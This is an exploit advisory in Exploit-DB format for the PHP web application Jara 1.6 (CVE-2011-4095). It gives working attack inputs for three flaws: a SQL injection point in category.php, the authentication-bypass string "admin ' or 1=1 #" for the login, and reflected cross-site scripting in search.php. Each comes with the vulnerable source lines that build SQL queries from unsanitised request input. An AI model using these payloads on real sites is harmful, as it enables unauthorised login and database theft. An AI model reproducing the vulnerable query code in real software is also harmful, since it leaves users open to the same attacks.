Exploit Jara 1.6 - Multiple Vulnerabilities

[Exploiter]

EDB-ID

18069

Проверка EDB

1. Пройдено

Автор

OR4NG.M4N

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2011-4095

Дата публикации

2011-11-03

#!/Mohammed/bin/YahYa
# Jara v1.6 Multiple Vulnerabilities 
# -------------------------------------------[+]
# download : http://sourceforge.net/projects/jara/files/v1.6/jarav16.zip
# AutHOr   : Or4nG.M4n
# cOntAct  :  priv8te[at]hotmail.com
# versiOn  : v1.6
# Tested   : My Mind (:
# -------------------------------------------[+]
#
[ Exploit ] Sql injection ~ ~
|=> /category.php?id=999999.9'[Here]
# Vulnerable code : category.php
#		@$categoryid = $_REQUEST["id"]; <= [1]
#		$category = jara_get_category($categoryid); <=[2]
#		jara_page_start("Category: ".$category["title"]); <=[3]
#		$query = "select * from jara_posts where categoryid = '$categoryid'"; <=[4]
#		$result = jara_db_query($query); <=[5]
#
[ Exploit ] Auth Bypass ~
|=> admin ' or 1=1 # 
# Vulnerable code : auth_fns.php
#	    function jara_user_authenticate($username, $password) { <=[1]
#		$query = "select * from jara_users where username = '$username' and password = SHA1('$password') limit 1"; <=[2]
#		$result = jara_db_query($query); <=[3]
#
[ Exploit ] Cross Site Scrpting ~
|=> POST : <h1>DDD<h1> => your xss Code
# Vulnerable code : search.php
#			$num_rows = $result->num_rows;
#			echo "<p><strong>$num_rows</strong> results for <strong>".stripslashes($term)."</strong>.</p>";
# ~ End
# -------------------------------------------[+]
#  Greet : sA^Dev!L , xSs m4n , Tryag Team 
# Cyb3r-Crystal , Dr.Banned [Miss u] , i-hmx
# -------------------------------------------[+]